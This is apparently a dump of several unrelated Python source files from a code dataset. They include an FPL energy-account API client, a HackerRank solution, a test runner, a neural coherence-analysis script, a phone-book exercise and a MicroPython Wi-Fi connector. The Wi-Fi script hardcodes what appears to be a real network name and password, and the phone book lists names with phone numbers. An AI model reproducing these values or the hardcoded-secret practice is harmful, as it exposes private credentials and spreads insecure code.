Successful\")\n\n except Exception as e:\n _LOGGER.error(f\"Error {e} : {sys.exc_info()[0]}\")\n result = LOGIN_RESULT_FAILURE\n\n if close:\n await session.close()\n\n return result\n\n async def async_get_open_accounts(self):\n _LOGGER.info(f\"Getting accounts\")\n result = []\n\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.get(URL_RESOURCES_HEADER)\n\n js = await response.json()\n accounts = js[\"data\"][\"accounts\"][\"data\"][\"data\"]\n\n for account in accounts:\n if account[\"statusCategory\"] == STATUS_CATEGORY_OPEN:\n result.append(account[\"accountNumber\"])\n except Exception as e:\n _LOGGER.error(f\"Getting accounts {e}\")\n\n # self._account_number = js[\"data\"][\"selectedAccount\"][\"data\"][\"accountNumber\"]\n # self._premise_number = js[\"data\"][\"selectedAccount\"][\"data\"][\"acctSecSettings\"][\"premiseNumber\"]\n return result\n\n async def __async_get_data(self, account) -> dict:\n _LOGGER.info(f\"Getting Data\")\n data = {}\n\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.get(\n URL_RESOURCES_ACCOUNT.format(account=account)\n )\n accountData = (await response.json())[\"data\"]\n\n premise = accountData[\"premiseNumber\"].zfill(9)\n\n # currentBillDate\n currentBillDate = datetime.strptime(\n accountData[\"currentBillDate\"].replace(\"-\", \"\").split(\"T\")[0], \"%Y%m%d\"\n ).date()\n\n # nextBillDate\n nextBillDate = datetime.strptime(\n accountData[\"nextBillDate\"].replace(\"-\", \"\").split(\"T\")[0], \"%Y%m%d\"\n ).date()\n\n data[\"current_bill_date\"] = str(currentBillDate)\n data[\"next_bill_date\"] = str(nextBillDate)\n\n today = datetime.now().date()\n remaining = (nextBillDate - today).days\n days = (today - currentBillDate).days\n\n data[\"service_days\"] = (nextBillDate - currentBillDate).days\n data[\"as_of_days\"] = days\n data[\"remaining_days\"] = remaining\n\n # zip code\n zip_code = accountData[\"serviceAddress\"][\"zip\"]\n\n # projected bill\n pbData = await self.__getFromProjectedBill(account, premise, currentBillDate)\n data.update(pbData)\n\n # programs\n programsData = accountData[\"programs\"][\"data\"]\n\n programs = dict()\n _LOGGER.info(f\"Getting Programs\")\n for program in programsData:\n if \"enrollmentStatus\" in program.keys():\n key = program[\"name\"]\n programs[key] = program[\"enrollmentStatus\"] == ENROLLED\n\n if programs[\"BBL\"]:\n # budget billing\n data[\"budget_bill\"] = True\n bblData = await self.__getBBL_async(account, data)\n data.update(bblData)\n\n data.update(\n await self.__getDataFromEnergyService(account, premise, currentBillDate)\n )\n\n data.update(await self.__getDataFromApplianceUsage(account, currentBillDate))\n return data\n\n async def __getFromProjectedBill(self, account, premise, currentBillDate) -> dict:\n data = {}\n\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.get(\n URL_RESOURCES_PROJECTED_BILL.format(\n account=account,\n premise=premise,\n lastBillDate=currentBillDate.strftime(\"%m%d%Y\"),\n )\n )\n\n if response.status == 200:\n\n projectedBillData = (await response.json())[\"data\"]\n\n billToDate = float(projectedBillData[\"billToDate\"])\n projectedBill = float(projectedBillData[\"projectedBill\"])\n dailyAvg = float(projectedBillData[\"dailyAvg\"])\n avgHighTemp = int(projectedBillData[\"avgHighTemp\"])\n\n data[\"bill_to_date\"] = billToDate\n data[\"projected_bill\"] = projectedBill\n data[\"daily_avg\"] = dailyAvg\n data[\"avg_high_temp\"] = avgHighTemp\n except:\n pass\n\n return data\n\n async def __getBBL_async(self, account, projectedBillData) -> dict:\n _LOGGER.info(f\"Getting budget billing data\")\n data = {}\n\n URL = \"https://www.fpl.com/api/resources/account/{account}/budgetBillingGraph/premiseDetails\"\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.get(URL.format(account=account))\n if response.status == 200:\n r = (await response.json())[\"data\"]\n dataList = r[\"graphData\"]\n\n startIndex = len(dataList) - 1\n\n billingCharge = 0\n budgetBillDeferBalance = r[\"defAmt\"]\n\n projectedBill = projectedBillData[\"projected_bill\"]\n asOfDays = projectedBillData[\"as_of_days\"]\n\n for det in dataList:\n billingCharge += det[\"actuallBillAmt\"]\n\n calc1 = (projectedBill + billingCharge) / 12\n calc2 = (1 / 12) * (budgetBillDeferBalance)\n\n projectedBudgetBill = round(calc1 + calc2, 2)\n bbDailyAvg = round(projectedBudgetBill / 30, 2)\n bbAsOfDateAmt = round(projectedBudgetBill / 30 * asOfDays, 2)\n\n data[\"budget_billing_daily_avg\"] = bbDailyAvg\n data[\"budget_billing_bill_to_date\"] = bbAsOfDateAmt\n\n data[\"budget_billing_projected_bill\"] = float(projectedBudgetBill)\n except:\n pass\n\n URL = \"https://www.fpl.com/api/resources/account/{account}/budgetBillingGraph\"\n\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.get(URL.format(account=account))\n if response.status == 200:\n r = (await response.json())[\"data\"]\n data[\"bill_to_date\"] = float(r[\"eleAmt\"])\n data[\"defered_amount\"] = float(r[\"defAmt\"])\n except:\n pass\n\n return data\n\n async def __getDataFromEnergyService(\n self, account, premise, lastBilledDate\n ) -> dict:\n _LOGGER.info(f\"Getting data from energy service\")\n URL = \"https://www.fpl.com/dashboard-api/resources/account/{account}/energyService/{account}\"\n\n date = str(lastBilledDate.strftime(\"%m%d%Y\"))\n JSON = {\n \"recordCount\": 24,\n \"status\": 2,\n \"channel\": \"WEB\",\n \"amrFlag\": \"Y\",\n \"accountType\": \"RESIDENTIAL\",\n \"revCode\": \"1\",\n \"premiseNumber\": premise,\n \"meterNo\": \"D3117\",\n \"projectedBillFlag\": True,\n \"billComparisionFlag\": True,\n \"monthlyFlag\": True,\n \"frequencyType\": \"Daily\",\n \"lastBilledDate\": date,\n \"applicationPage\": \"resDashBoard\",\n }\n\n data = {}\n\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.post(URL.format(account=account), json=JSON)\n if response.status == 200:\n r = (await response.json())[\"data\"]\n dailyUsage = []\n\n totalPowerUsage = 0\n if \"data\" in r[\"DailyUsage\"]:\n for daily in r[\"DailyUsage\"][\"data\"]:\n if (\n \"kwhUsed\" in daily.keys()\n and \"billingCharge\" in daily.keys()\n and \"date\" in daily.keys()\n and \"averageHighTemperature\" in daily.keys()\n ):\n dailyUsage.append(\n {\n \"usage\": daily[\"kwhUsed\"],\n \"cost\": daily[\"billingCharge\"],\n \"date\": daily[\"date\"],\n \"max_temperature\": daily[\"averageHighTemperature\"],\n }\n )\n totalPowerUsage += int(daily[\"kwhUsed\"])\n\n data[\"total_power_usage\"] = totalPowerUsage\n data[\"daily_usage\"] = dailyUsage\n\n return data\n\n async def __getDataFromApplianceUsage(self, account, lastBilledDate) -> dict:\n _LOGGER.info(f\"Getting data from applicance usage\")\n URL = \"https://www.fpl.com/dashboard-api/resources/account/{account}/applianceUsage/{account}\"\n JSON = {\"startDate\": str(lastBilledDate.strftime(\"%m%d%Y\"))}\n data = {}\n try:\n async with async_timeout.timeout(TIMEOUT, loop=self._loop):\n response = await self._session.post(\n URL.format(account=account), json=JSON\n )\n if response.status == 200:\n electric = (await response.json())[\"data\"][\"electric\"]\n\n full = 100\n for e in electric:\n rr = round(float(e[\"percentageDollar\"]))\n if rr < full:\n full = full - rr\n else:\n rr = full\n data[e[\"category\"].replace(\" \", \"_\")] = rr\n\n except:\n pass\n\n return {\"energy_percent_by_applicance\": data}\n","sub_path":"custom_components/fpl/fplapi.py","file_name":"fplapi.py","file_ext":"py","file_size_in_byte":12375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"292395030","text":"#!/bin/python3\n\n# https://www.hackerrank.com/challenges/closest-numbers/problem\n\nimport sys\n\ndef closestNumbers(arr):\n # Complete this function\n arr.sort()\n pairs = [arr[0], arr[1]]\n min_diff = arr[1] - arr[0]\n for i, j in zip(arr[1:-1], arr[2:]):\n diff = j - i\n if diff == min_diff:\n pairs.append(i)\n pairs.append(j)\n elif diff < min_diff:\n pairs = [i, j]\n min_diff = diff\n return pairs\n\nif __name__ == \"__main__\":\n n = int(input().strip())\n arr = list(map(int, input().strip().split(' ')))\n result = closestNumbers(arr)\n print (\" \".join(map(str, result)))\n","sub_path":"hackerrank/algorithms/sorting/closest_numbers.py","file_name":"closest_numbers.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"240124042","text":"# -*- coding: utf-8 -*-\r\nimport argparse\r\nimport sys\r\n\r\nimport common.util as u\r\nimport os\r\nimport unittest\r\nfrom common import HTMLTestRunner\r\n\r\n\r\nclass BeginTest:\r\n def __init__(self):\r\n self.test_suite = unittest.TestSuite()\r\n self.result_path = u.result_path()\r\n\r\n def begin_test(self):\r\n self.get_test_suite()\r\n self.get_result()\r\n\r\n def get_test_suite(self):\r\n self.test_suite = unittest.defaultTestLoader.discover('script' + os.sep + 'testcases', pattern='*_test.py')\r\n\r\n def get_result(self):\r\n result = 'testresult' + os.sep + self.result_path + os.sep +'result.html'\r\n fb = file(result, 'wb')\r\n runner = HTMLTestRunner.HTMLTestRunner(stream=fb, title='Test Result', description='Test Report')\r\n runner.run(self.test_suite)\r\n\r\n\r\n\"\"\"\r\nif __name__ == \"__main__\":\r\n BeginTest().begin_test()\r\n\"\"\"\r\n\r\n\r\ndef parseArgs(argv):\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-c', dest='count', help=\"input the test loop, e.g. python start.py -c 100\")\r\n args = parser.parse_args()\r\n if args.count:\r\n with open(\"testresult\" + os.sep + \"loop\", \"w\") as f:\r\n f.write(args.count)\r\n BeginTest().begin_test()\r\n\r\n\r\nif __name__ == '__main__':\r\n parseArgs(sys.argv[1:])\r\n","sub_path":"atPhoenix/autoTest/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"227626126","text":"import os\r\nimport sys\r\nimport scipy.io as sio\r\nimport glob\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pickle \r\nimport math\r\nimport pandas as pd\r\nimport cv2\r\nfrom statsmodels.stats.multitest import multipletests\r\n\r\n\r\nimport re\r\ncodefolder = re.match('.*exp.*code', __file__).group()\r\nsys.path.append(codefolder)\r\nfrom util.folder_extract import exp_subfolders, code_corresfolder\r\nfrom connAnalyTool.synchronization_indices import ciCoherence_overtime\r\nfrom connAnalyTool.fc_visual_time import threshold_fc_overtime, ciCOH_visual_save, pvals_fc_overtime\r\n\r\n\r\ndef lfp_extract(files):\r\n \"\"\"\r\n extract all rest lfp from files\r\n\r\n Args:\r\n files: extract using glob.glob\r\n\r\n Returns:\r\n lfpdata: nareas * ntemp * nsegs\r\n\r\n chnAreas: list for area name\r\n\r\n \"\"\"\r\n \r\n if 'lfpdata' in locals():\r\n del lfpdata\r\n \r\n for i, file in enumerate(files):\r\n \r\n ### load data\r\n matdat = sio.loadmat(file, variable_names = ['lfpsegs', 'lfpdata', 'fs', 'chnAreas'], \r\n struct_as_record = False, squeeze_me = True) \r\n \r\n \r\n \r\n ### extract the noused channels, only calculate once\r\n if i == 0:\r\n \r\n # chnAreas\r\n chnAreas = matdat['chnAreas'].tolist()\r\n \r\n # fs: sample rate\r\n fs = matdat['fs'] \r\n \r\n \r\n\r\n ### dealing lfp data\r\n \r\n # lfp (np.ndarray): nareas * ntemp * ntrials or ntemp * nareas * ntrials\r\n if 'lfpdata' in matdat.keys():\r\n lfpdata_1file = matdat['lfpdata']\r\n elif 'lfpsegs' in matdat.keys():\r\n lfpdata_1file = matdat['lfpsegs']\r\n\r\n n1, n2, n3 = lfpdata_1file.shape\r\n if n1 > n2: # ntemp * nareas * ntrials\r\n lfpdata_1file = np.transpose(lfpdata_1file, (1, 0, 2))\r\n \r\n # concatenate to lfpdata for all files\r\n if 'lfpdata' not in locals():\r\n lfpdata = lfpdata_1file\r\n else:\r\n lfpdata = np.concatenate((lfpdata, lfpdata_1file), axis = 2)\r\n \r\n \r\n return lfpdata, chnAreas, fs\r\n\r\n\r\n\r\n\r\n\r\ndef assign_coord2chnArea(area_coord_file, chnAreas):\r\n \"\"\"\r\n assign the xy coord of each area\r\n\r\n\r\n Args:\r\n area_coord_file: file containing the x y coord for each area (normally predefined)\r\n\r\n\r\n chnAreas: a list of areas representing the corresponding area for each channel\r\n\r\n\r\n Return:\r\n df_chninf: DataFrame with chnAreas, coord_x and coord_y\r\n\r\n \"\"\"\r\n # load channel coord from area_coord_file\r\n df = pd.read_csv(area_coord_file, header = 0)\r\n\r\n # fill in the x,y coordinates of each area in chnAreas based on the values in df_chninf\r\n coord_x, coord_y = np.zeros(shape = [len(chnAreas), ]), np.zeros(shape = [len(chnAreas), ])\r\n for i, chnArea in enumerate(chnAreas):\r\n \r\n mask_area = (df['brainarea'] == chnArea)\r\n \r\n if len(df['brainarea'][mask_area].index) == 0:\r\n continue\r\n\r\n x, y = df['simulated_x'][mask_area].to_numpy(), df['simulated_y'][mask_area].to_numpy()\r\n\r\n coord_x[i], coord_y[i] = x, y\r\n \r\n \r\n del mask_area, x, y\r\n\r\n df_chninf = pd.DataFrame(data = {'chnAreas': chnAreas, 'coord_x': coord_x, 'coord_y': coord_y})\r\n \r\n return df_chninf\r\n\r\n\r\ndef calc_ciCOHs_rest(lfpdata):\r\n \"\"\"\r\n calculate the ciCOHs for rest using ciCoherence_overtime\r\n\r\n Arg:\r\n lfpdata: nchns * ntemp * nsegs\r\n\r\n Return:\r\n ciCOH: nchns * nchns\r\n \"\"\"\r\n\r\n nchns, _, nsegs = lfpdata.shape\r\n ciCOHs = np.zeros((nchns, nchns, nsegs))\r\n for segi in range(nsegs):\r\n \r\n if segi % 100 == 0:\r\n print(\"segi = \" + str(segi) + \"/\" + str(nsegs))\r\n \r\n for chni in range(nchns -1):\r\n signal1 = lfpdata[chni, :, segi]\r\n \r\n for chnj in range(chni+1, nchns):\r\n signal2 = lfpdata[chnj, :, segi]\r\n \r\n # ciCOHs assignment\r\n ciCOHs[chni, chnj, segi] = ciCoherence_overtime(signal1, signal2)\r\n \r\n # symmetrical\r\n ciCOHs[chnj, chni, segi] = ciCOHs[chni, chnj, segi]\r\n \r\n del signal2\r\n del signal1\r\n \r\n ciCOH = np.mean(ciCOHs, axis = 2)\r\n\r\n return ciCOH\r\n\r\ndef fc_extract(savefilename):\r\n \"\"\"\r\n dict fc extraction\r\n\r\n Return:\r\n fc\r\n Output:\r\n written fc to savefolder/savefilename \r\n \"\"\"\r\n\r\n ### lfpdata extract ###\r\n files_normal = glob.glob(os.path.join(inputfolder, '*_normal_*'))\r\n files_mild = glob.glob(os.path.join(inputfolder, '*_mild_*'))\r\n files_moderate = glob.glob(os.path.join(inputfolder, '*_moderate_*'))\r\n\r\n\r\n lfpdata_normal, chnAreas, fs = lfp_extract(files_normal)\r\n lfpdata_mild, _, _ = lfp_extract(files_mild)\r\n lfpdata_moderate, _ , _= lfp_extract(files_moderate)\r\n\r\n\r\n\r\n ### balance mild, normal and moderate trials ###\r\n ntrials_normal, ntrials_mild = lfpdata_normal.shape[2], lfpdata_mild.shape[2]\r\n ntrials_moderate = lfpdata_moderate.shape[2]\r\n ntrials = min([ntrials_normal, ntrials_mild, ntrials_moderate])\r\n\r\n # balance trials by randomly selecting ntrials\r\n idx_ntrials = np.random.randint(ntrials_normal, size = ntrials)\r\n lfpdata_normal = lfpdata_normal[:,:,idx_ntrials]\r\n\r\n idx_ntrials = np.random.randint(ntrials_mild, size = ntrials)\r\n lfpdata_mild = lfpdata_mild[:,:,idx_ntrials]\r\n\r\n idx_ntrials = np.random.randint(ntrials_moderate, size = ntrials)\r\n lfpdata_moderate = lfpdata_moderate[:,:,idx_ntrials]\r\n\r\n\r\n ### calc ciCOH for each cond ###\r\n ciCOH_normal = calc_ciCOHs_rest(lfpdata_normal)\r\n ciCOH_mild = calc_ciCOHs_rest(lfpdata_mild)\r\n ciCOH_moderate = calc_ciCOHs_rest(lfpdata_moderate)\r\n\r\n\r\n ### dict fc generation ###\r\n ciCOH = dict()\r\n ciCOH['normal'] = ciCOH_normal\r\n ciCOH['mild'] = ciCOH_mild\r\n ciCOH['moderate'] = ciCOH_moderate\r\n\r\n\r\n setup = dict()\r\n setup['fs'] = fs\r\n setup['ntemp_normal'] = lfpdata_normal.shape[1]\r\n setup['ntrials_normal'] = lfpdata_normal.shape[2]\r\n setup['ntemp_mild'] = lfpdata_mild.shape[1]\r\n setup['ntrials_mild'] = lfpdata_mild.shape[2]\r\n setup['ntemp_moderate'] = lfpdata_moderate.shape[1]\r\n setup['ntrials_moderate'] = lfpdata_moderate.shape[2]\r\n\r\n\r\n\r\n fc = dict()\r\n fc['ciCOH'] = ciCOH\r\n fc['chnAreas'] = chnAreas\r\n fc['setup']= setup\r\n\r\n\r\n\r\n ### save ####\r\n with open(os.path.join(savefolder, savefilename + '.pickle'), 'wb') as fp:\r\n pickle.dump(fc, fp, protocol=pickle.HIGHEST_PROTOCOL)\r\n\r\n \r\n return fc\r\n\r\n\r\n\r\ndef fc_visual_save(fc, lowweight, savenamefile_prefix):\r\n \"\"\"\r\n visual fc and save the figure\r\n\r\n Arg:\r\n fc: the dict fc\r\n \"\"\"\r\n\r\n\r\n ### text setup for brain areas ###\r\n pos_text_lefttop1 = [-80, 50, 30]\r\n pos_text_middletop1 = [120, 50, 30]\r\n pos_text_lefttop2 = [-80, 70, 10]\r\n pos_text_leftDown1 = [-80, 550, 30]\r\n pos_text_leftDown2 = [-80, 570, 10]\r\n pos_text_leftDown3 = [-80, 580, 10]\r\n \r\n texts_org = dict()\r\n\r\n lowweight = np.round(lowweight, decimals = 2) \r\n\r\n # plot\r\n df_chninf = assign_coord2chnArea(area_coord_file, fc['chnAreas'])\r\n for ci, cond in enumerate(fc['ciCOH'].keys()):\r\n ciCOH = fc['ciCOH'][cond]\r\n ntrials, ntemp = fc['setup']['ntrials_' + cond], fc['setup']['ntemp_' + cond]\r\n\r\n\r\n texts = texts_org.copy()\r\n \r\n text_thred = 'thred = ' + str(np.round(lowweight, decimals = 2))\r\n text_ntrials = 'ntrials = ' + str(ntrials)\r\n\r\n texts[cond] = pos_text_middletop1\r\n texts[text_task] = pos_text_leftDown1\r\n texts[text_ntrials] = pos_text_leftDown2\r\n texts[text_thred] = pos_text_leftDown3\r\n \r\n\r\n saveFCGraph = os.path.join(savefolder, savenamefile_prefix + '_lw' + str(np.round(lowweight, decimals = 2)) + '_' + cond + '.png')\r\n\r\n igplot = ciCOH_visual_save(ciCOH = ciCOH, chnInf = df_chninf, lowweight = lowweight, \r\n savefile = saveFCGraph, texts = texts, threds_edge = None)\r\n\r\n del texts[cond], texts[text_ntrials]\r\n\r\n img = cv2.imread(saveFCGraph)\r\n if ci == 0:\r\n imgs = img\r\n else:\r\n imgs = np.concatenate((imgs, np.zeros((img.shape[0], 5, 3)),img), axis = 1)\r\n\r\n os.remove(saveFCGraph)\r\n\r\n # combine all conditions\r\n print(imgs.shape)\r\n saveFCGraph_comb = os.path.join(savefolder, 'comb_' + savenamefile_prefix + '_lw' + str(np.round(lowweight, decimals = 2)) + '.png')\r\n cv2.imwrite(saveFCGraph_comb, imgs)\r\n\r\ndef fc_select(fc, areas_used):\r\n \"\"\"\r\n select fc only contains the areas in areas_used\r\n \r\n Arg:\r\n fc: the fc dict\r\n areas_used: list containing the areas used\r\n \"\"\"\r\n\r\n\r\n\r\n chnAreas = fc['chnAreas'].copy()\r\n\r\n\r\n ### extract idx_del ###\r\n if 'GP' in areas_used:\r\n areas_used.remove('GP')\r\n areas_used = areas_used + [area for area in chnAreas if 'gp' in area]\r\n\r\n if 'STN' in areas_used:\r\n areas_used.remove('STN')\r\n areas_used = areas_used + [area for area in chnAreas if 'stn' in area]\r\n\r\n idx_del = []\r\n for i, area in enumerate(chnAreas):\r\n if area not in areas_used:\r\n idx_del.append(i)\r\n idx_del.reverse()\r\n\r\n ### generate the used df_chninf ###\r\n for i in idx_del:\r\n del chnAreas[i]\r\n\r\n\r\n ### generate used ciCOH ###\r\n ciCOH = dict()\r\n for cond in fc['ciCOH'].keys():\r\n ciCOH_1cond = fc['ciCOH'][cond].copy()\r\n ciCOH_1cond = np.delete(ciCOH_1cond, idx_del, axis = 0)\r\n ciCOH_1cond = np.delete(ciCOH_1cond, idx_del, axis = 1)\r\n\r\n ciCOH[cond] = ciCOH_1cond\r\n\r\n\r\n fc_new = dict()\r\n fc_new['chnAreas'] = chnAreas\r\n fc_new['ciCOH'] = ciCOH\r\n fc_new['setup'] = fc['setup'].copy()\r\n\r\n\r\n return fc_new\r\n\r\ndef comb_fc(filepatt):\r\n \"\"\"\r\n combine all fc figures belong to same \r\n \"\"\"\r\n\r\n\r\n files = glob.glob(os.path.join(savefolder, filepatt))\r\n print(filepatt)\r\n \r\n if files == []:\r\n imgs = []\r\n print('No files found for ' + filepatt)\r\n return\r\n\r\n\r\n imgs = np.empty((600, 600, 3))\r\n for fi, file in enumerate(files):\r\n img = cv2.imread(file)\r\n \r\n if fi == 0:\r\n imgs = img\r\n else:\r\n imgs = np.concatenate((imgs, img), axis = 2)\r\n\r\n idx = filepatt.find('freq')\r\n comb_fcGraph = os.path.join(savefolder, 'comb_' + filepatt[idx: -len('.mat')])\r\n cv2.imwrite(comb_fcGraph, imgs)\r\n print(comb_fcGraph)\r\n\r\ndef find_lowweight(fc):\r\n # find lowweight\r\n pvals_vec = []\r\n ciCOH_vec = []\r\n for cond in fc['ciCOH'].keys():\r\n ciCOH = fc['ciCOH'][cond]\r\n ntrials, ntemp = fc['setup']['ntrials_' + cond], fc['setup']['ntemp_' + cond]\r\n\r\n pvals = pvals_fc_overtime(ciCOH = ciCOH, ntrials = ntrials, ntemp = ntemp, f = (freq[0] + freq[1])//2, t = ntemp/fc['setup']['fs'])\r\n \r\n nchns = pvals.shape[0]\r\n for chi in range(nchns-1):\r\n for chj in range(chi + 1, nchns):\r\n pvals_vec.append(pvals[chi, chj])\r\n ciCOH_vec.append(ciCOH[chi, chj])\r\n \r\n pvals_vec = np.asarray(pvals_vec)\r\n ciCOH_vec = np.asarray(ciCOH_vec)\r\n rejs, _, _, _ = multipletests(pvals_vec, alpha = 0.05, method = 'fdr_bh')\r\n lowweight = min(ciCOH_vec[rejs])\r\n\r\n return lowweight\r\n\r\ndef main():\r\n\r\n ### fc extract ###\r\n savename_fc = 'fc_rest' + '_freq' + str(freq[0]) + '_' + str(freq[1])\r\n if os.path.exists(os.path.join(savefolder, savename_fc + '.pickle')):\r\n print(\"reading the exist fc values\")\r\n fc = pd.read_pickle(os.path.join(savefolder, savename_fc + '.pickle'))\r\n else:\r\n fc = fc_extract(savename_fc)\r\n\r\n\r\n\r\n\r\n ### fc visual and save ##\r\n fcGraph_prefix = 'vFC_rest' + '_freq' + str(freq[0]) + '_' + str(freq[1])\r\n\r\n lowweight = find_lowweight(fc)\r\n\r\n # All\r\n save_prefix = fcGraph_prefix + '_ALL'\r\n fc_visual_save(fc, lowweight, save_prefix)\r\n \r\n\r\n\r\n\r\n # left thalamus and SMA/M1\r\n save_prefix = fcGraph_prefix + '_leftThaCor'\r\n fc_new = fc_select(fc, ['lVA', 'lVLo/VPLo', 'lSMA', 'rSMA','M1'])\r\n lowweight = find_lowweight(fc_new)\r\n fc_visual_save(fc_new, lowweight, save_prefix)\r\n del fc_new\r\n\r\n\r\n # right thalamus and SMA/M1\r\n save_prefix = fcGraph_prefix + 'rightThaCor'\r\n fc_new = fc_select(fc, ['rVA', 'rVLo/VPLo', 'lSMA', 'rSMA','M1'])\r\n lowweight = find_lowweight(fc_new)\r\n fc_visual_save(fc_new, lowweight, save_prefix)\r\n del fc_new\r\n\r\n\r\n\r\n # right thalamus and GP\r\n save_prefix = fcGraph_prefix + 'gpRightTha'\r\n fc_new = fc_select(fc, ['rVA', 'rVLo/VPLo', 'GP'])\r\n lowweight = find_lowweight(fc_new)\r\n fc_visual_save(fc_new, lowweight, save_prefix)\r\n del fc_new\r\n\r\n\r\n # left thalamus and GP\r\n save_prefix = fcGraph_prefix + 'gpLeftTha'\r\n fc_new = fc_select(fc, ['lVA', 'lVLo/VPLo', 'GP'])\r\n lowweight = find_lowweight(fc_new)\r\n fc_visual_save(fc_new, lowweight, save_prefix)\r\n del fc_new\r\n\r\n\r\n\r\nanimal = re.search('NHPs/[a-zA-Z]*/', os.getcwd()).group()[len('NHPs/'):-1]\r\n_, _, pipelinefolder, _= exp_subfolders()\r\ncorresfolder, correparentfolder = code_corresfolder(__file__)\r\n\r\n\r\nfreq = [26, 28]\r\ninputfolder = os.path.join(pipelinefolder, 'NHPs', animal, '0_dataPrep', 'Rest', 'm4_restData_filtered' + str(freq[0]) + '_' + str(freq[1]) + '_eqLen')\r\narea_coord_file = os.path.join(correparentfolder, 'chn_brainArea_simCoord_BrainArea.csv')\r\nsavefolder = corresfolder\r\ntext_task = 'Rest'\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n","sub_path":"NHPs/Pinky/1_dataAnaly/FCAnaly/Rest/areabased/py/m1_rest_Pinky_FCVisual.py","file_name":"m1_rest_Pinky_FCVisual.py","file_ext":"py","file_size_in_byte":13844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"427020964","text":"# Create a program that uses a dictionary to store phonebook entries. Must have user interaction.\n# Include ability to:\n# 1. Search\n# 2. Add Entry\n# 3. Change Entry\n# 4. Delete Entry\n# 5. Exit Program\n\n# Loops\n# Dictionaries (within a dictionary)\n# Functional Program\n\nphone_book = {\n 'Barreyro': {'name':'Pablo Barreyro', 'number':'2025382341'},\n 'Magnuson':{'name':'Tom Magnuson', 'number':'2023630404'},\n 'Yeaney': {'name':'Johny Yeaney', 'number':'2024154909'}\n}\n# Set up menu function...\ndef print_menu():\n print('1. Search')\n print('2. Add Entry')\n print('3. Change Entry')\n print('4. Delete Entry')\n print('5. Exit Program')\n\n# Set up fancy phone converter...\ndef fancy_phone(number):\n print(f\"({number[0:3]}) {number[3:6]}-{number[6:]}\")\n\n# Set up action function...\ndef menu_action():\n print_menu()\n while True:\n action = input(\"What would you like to do? \")\n if action in '1. Search':\n search = input(\"What is the last name of the person you're looking for: \")\n print(str(phone_book[search]['name']))\n print(fancy_phone(phone_book[search]['number']))\n\n elif action in '2. Add Entry':\n add_name = input(\"Who would you like to add? \")\n add_num = input(\"What is his/her/their number? \")\n # Split and index full name...\n split_name = add_name.split(' ', 1)\n # ... use last name to access key\n phone_book[str(split_name[1])] = {'name': str(add_name.title()), 'number': str(add_num)}\n print(\"Okay, here's what I've got: \")\n print(phone_book[str(split_name[1])]['name'])\n print(fancy_phone(phone_book[str(split_name[1])]['number']))\n\n elif action in '3. Change Entry':\n change_type = input(\"Would you like to change a name or a number? \")\n if change_type.lower() in 'name':\n change_name = input(\"Whose name would you like to change? \")\n new_name = input (\"What would you like to change his/her/their name to? \")\n split_name = change_name.split(' ', 1)\n phone_book[split_name[1]]['name'] = new_name\n print(\"Okay, great. I've changed {}'s name to {}.\".format(split_name[0], new_name))\n\n if change_type.lower() in 'number':\n change_name = input(\"Whose number would you like to change? \")\n new_num = input(\"What would you like to change his/her/their number to? \")\n split_name = change_name.split(' ', 1)\n phone_book[split_name[1]]['number'] = new_num\n print(\"Okay, great. I've changed {}'s number to\".format(split_name[0]))\n print(fancy_phone((phone_book[str(split_name[1])])))\n\n elif action in '4. Delete Entry':\n del_name = input(\"Whose entry would you like to delete? \")\n split_name = del_name.split(' ', 1)\n del phone_book[str(split_name[1])]\n print(\"Okay, that should do it. I've removed {} from the directory.\".format(del_name))\n\n else:\n print(\"So long!\")\n\nmenu_action()","sub_path":"exercises/python/revisited_python/directory/phone_book.py","file_name":"phone_book.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"90585468","text":"def process_data(dane, counting=False):\n \"\"\"Przerób dane tak, aby składniki\n były pogrupowane wg przepisów\"\"\"\n \n wynik = {}\n\n for el in dane:\n if el['Id_Przepisy'] not in wynik:\n wynik[el['Id_Przepisy']] = {\n 'Nazwa_Przepisy': el['Nazwa_Przepisy'],\n 'Przepis': el['Przepis'],\n 'Składniki': [{\n 'Nazwa_Składniki': el['Nazwa_Składniki'],\n 'Ilość': el['Ilość'],\n 'Typ': el['Typ'],\n }]\n }\n else:\n wynik[el['Id_Przepisy']]['Składniki'].append({\n 'Nazwa_Składniki': el['Nazwa_Składniki'],\n 'Ilość': el['Ilość'],\n 'Typ': el['Typ'],\n })\n\n return wynik","sub_path":"akk-api/data_tools.py","file_name":"data_tools.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"507985522","text":"import network\nfrom time import sleep\n\nprint('=====================================Connecting to wifi')\nstation = network.WLAN(network.STA_IF)\nstation.active(True)\nstation.ifconfig()\nstation.connect(\"SFR_F688\",\"a9leffeadiceracychlo\")\n\nprint('=============================================Connected!')\n\nsleep(5)\nimport DHT11_pub\n","sub_path":"main_dht11.py","file_name":"main_dht11.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"376572539","text":"# -*- coding:UTF-8 -*-\n#\n#\n\nimport scrapy\nimport sys\nimport sqlalchemy\nimport os\nimport time\nimport datetime\nimport re\n\nfrom string import Template\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.orm import sessionmaker\nfrom 